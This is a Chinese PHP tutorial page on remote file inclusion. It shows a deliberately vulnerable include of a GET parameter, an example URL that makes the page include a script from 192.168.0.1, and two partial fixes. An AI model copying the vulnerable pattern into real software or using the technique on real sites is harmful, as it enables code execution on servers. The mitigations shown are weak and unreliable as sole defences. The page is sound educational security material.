PHP 网络开发详解之远程文件包含漏洞


Posted in PHP onApril 25, 2010

以下代码(Code)实现了根据浏览器地址栏参数的文件名称包含不同文件的功能。

<?php 
$file_name = $_GET["filename"]; //获得当前文件名 
include("$file_name "); //包含文件 
//一些其他操作 
?>

这时,通过在地址栏上指定不同的文件名就可以实现包含不同文件并执行的功能。例如,通过在浏览器上访问http://localhost/test.php?filename=myinc.php就可以在代码(Code)中包含并执行myinc.php文件。
由于上面的代码(Code)没有进行任何错误处理,在浏览器上不加参数运行,所以将得到以下运行结果。
Warning: include(.php) [function.include]: failed to open stream: No such file or directory in C:\Program Files\xampp\htdocs\Bugs\test6.php on line 3
Warning: include() [function.include]: Failed opening '.php' for inclusion (include_path='.;C:\Program Files\xampp\php\pear\') in C:\Program Files\xampp\htdocs\Bugs\test6.php on line 3
访问者通过读取这段错误信息,可以得知当前的操作是一个文件包含操作。这时,可以在自己的服务器上放置一个相应的脚本代码。需要注意的是PHP在获取远程文件时获得的是远程服务器的最终输出结果,而不是文件本身。该脚本代码位于192.168.0.1服务器上,文件名为hello.txt,脚本代码(Code)如下所示。
<?php 
echo "hello world!"; 
?>

这时,通过在浏览器中访问http://localhost/test.php?filename=http://192.168.0.1/hello.txt就可以运行hello.txt中的脚本了。
为了解决这个问题,一种方式是完善代码的错误信息,使访问者无法知道当前脚本正在包含参数中指定的文件。修改后的代码(Code)如下所示。
<?php 
$file_name = $_GET["filename"]; //获得当前文件名 
if(!@include("$file_name.php")) //包含文件 
{ 
die("页面在浏览过程中出现错误"); 
} 
//一些其他操作 
?>

修改后,如果在被包含的文件无法找到时将出现“页面在浏览过程中出现错误”的错误信息,访问者将无法获得当前页面的具体操作信息。
第二种方式可以更加有效地防止远程文件包含攻击。方式是替换地址栏参数中的斜线“/”。这样,在地址栏参数中输入远程文件地址时,代码将无法正确地获得参数。修改后的代码(Code)如下所示。
<?php 
$file_name = str_replace('/', '', $_GET["filename"]); //获得当前文件名 
if(!@include("$file_name.php")) //包含文件 
{ 
die("页面在浏览过程中出现错误"); 
} 
//一些其他操作 
?>

这样,在浏览器中访问http://localhost/test.php?filename=http://192.168.0.1/hello.txt 时,实际上PHP代码(Code)获得的包含文件名称是http:192.168.0.1bugstest6_test。页面将不会包含远程文件,并显示相应的错误信息。
PHP 相关文章推荐
php 远程图片保存到本地的函数类
Dec 08 PHP
PHP中替换键名的简易方法示例详解
Jan 07 PHP
PHP+ajaxfileupload+jcrop插件完美实现头像上传剪裁
Jun 09 PHP
使用ThinkPHP+Uploadify实现图片上传功能
Jun 26 PHP
ThinkPHP中URL路径访问与模块控制器之间的关系
Aug 23 PHP
Linux中为php配置伪静态
Dec 17 PHP
php计算一个文件大小的方法
Mar 30 PHP
详解Grunt插件之LiveReload实现页面自动刷新(两种方案)
Jul 31 PHP
PHP远程调试之XDEBUG
Dec 29 PHP
php发送http请求的常用方法分析
Nov 08 PHP
Yii框架弹出框功能示例
Jan 07 PHP
PHP简单实现解析xml为数组的方法
May 02 PHP
php快速url重写更新版[需php 5.30以上]
Apr 25 #PHP
PHP CURL模拟GET及POST函数代码
Apr 25 #PHP
php file_get_contents函数轻松采集html数据
Apr 22 #PHP
国外比较好的几个的Php开源建站平台小结
Apr 22 #PHP
PHP最常用的ini函数分析 针对PHP.ini配置文件
Apr 22 #PHP
php allow_url_include的应用和解释
Apr 22 #PHP
php strcmp使用说明
Apr 22 #PHP
You might like
PHP获取url的函数代码
2011/08/02 PHP
php+mysqli批量查询多张表数据的方法
2015/01/29 PHP
php一个解析字符串排列数组的方法
2015/05/12 PHP
验证用户是否修改过页面的数据的实现方法
2008/09/26 Javascript
模拟jQuery ajax服务器端与客户端通信的代码
2011/03/28 Javascript
js如何调用qq互联api实现第三方登录
2014/03/28 Javascript
js字符串完全替换函数分享
2014/12/03 Javascript
DOM事件阶段以及事件捕获与事件冒泡先后执行顺序(图文详解)
2015/08/18 Javascript
jquery衣服颜色选取插件效果代码分享
2015/08/28 Javascript
JavaScript实现Base64编码转换
2016/04/23 Javascript
详解jQuery的表单验证插件--Validation
2016/12/21 Javascript
easyui combogrid实现本地模糊搜索过滤多列
2017/05/13 Javascript
微信小程序本地缓存数据增删改查实例详解
2017/05/24 Javascript
jQuery 改变P标签文本值方法
2018/02/24 jQuery
解决vue脚手架项目打包后路由视图不显示的问题
2018/09/20 Javascript
基于vue2.0实现仿百度前端分页效果附实现代码
2018/10/30 Javascript
Layui带搜索的下拉框的使用以及动态数据绑定方法
2019/09/28 Javascript
webpack HappyPack实战详解
2019/10/08 Javascript
Antd的table组件表格的序号自增操作
2020/10/27 Javascript
一个检测OpenSSL心脏出血漏洞的Python脚本分享
2014/04/10 Python
用于统计项目中代码总行数的Python脚本分享
2015/04/21 Python
python使用Tkinter显示网络图片的方法
2015/04/24 Python
Python使用LDAP做用户认证的方法
2019/06/20 Python
python匿名函数用法实例分析
2019/08/03 Python
python编写猜数字小游戏
2019/10/06 Python
详解Pycharm第三方库的安装及使用方法
2020/12/29 Python
澳大利亚新奇小玩意网站:Yellow Octopus
2017/12/28 全球购物
社团成立邀请函
2014/01/08 职场文书
追悼会上的答谢词
2014/01/10 职场文书
会计岗位职责范本
2014/03/07 职场文书
教师四风自我剖析材料
2014/09/30 职场文书
开展党的群众路线教育实践活动情况汇报
2014/11/05 职场文书
高中教师个人总结
2015/02/10 职场文书
2015年劳动部工作总结
2015/05/23 职场文书
党支部鉴定意见
2015/06/02 职场文书
初二物理教学反思
2016/02/19 职场文书